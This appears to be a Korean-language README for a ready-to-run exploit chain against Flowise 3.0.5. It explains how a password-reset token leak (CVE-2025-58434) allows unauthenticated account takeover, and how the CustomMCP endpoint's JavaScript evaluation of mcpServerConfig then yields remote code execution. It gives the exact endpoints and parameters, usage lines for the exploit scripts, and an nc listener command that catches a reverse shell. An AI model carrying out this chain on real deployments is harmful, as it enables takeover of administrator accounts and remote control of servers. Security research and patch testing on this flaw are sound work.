
# Flowise 3.0.5용 익스플로잇 체인: 비밀번호 재설정 토큰 노출(CVE-2025-58434)을 통한 인증되지 않은 계정 탈취를 CustomMCP JavaScript 평가와 연계하여 원격 코드 실행을 수행합니다.
두 가지 Flowise 3.0.5 문제를 연계한 공격:
POST /api/v1/account/forgot-password는 대상 사용자의 tempToken을
JSON 응답에 직접 반환합니다. 이를 POST /api/v1/account/reset-password에
전달하여 첫 번째 관리자를 포함한 모든 계정에 알려진 비밀번호를 설정할 수 있습니다 -> 완전한
인증되지 않은 계정 탈취.mcpServerConfig 서버 측 JavaScript 평가.
세션과 워크스페이스 API 키(1단계에서 획득)가 있으면,
POST /api/v1/node-load-method/customMCP에 loadMethod=listActions를 사용하여
mcpServerConfig 문자열을 Flowise 프로세스에서 JavaScript로 평가하여
require('child_process').exec() RCE를 가능하게 합니다. (별도의 Flowise 문제로
ATO를 코드 실행으로 전환하는 데만 사용되며, 작성 시점에 CVE가 할당되지 않았습니다.)CVE: CVE-2025-58434
python3 -m pip install requests
flowise_ato_foothold.py - 전체 체인 (ATO -> API 키 -> CustomMCP 리버스 셸)python3 flowise_ato_foothold.py <LHOST> <LPORT> [TARGET_IP] [FLOWISE_VHOST]
# `nc -lvnp <LPORT>`를 준비하세요
flowise_customMCP_rce.py - CustomMCP RCE만 (API 키 필요)python3 flowise_customMCP_rce.py '<command>' '<FLOWISE_API_KEY>'
승인된 보안 테스트 및 교육 목적으로만 사용하세요. 소유한 시스템 또는 테스트에 대한 명시적 서면 허가를 받은 시스템에서만 실행하세요.
작성자: r3vpwnx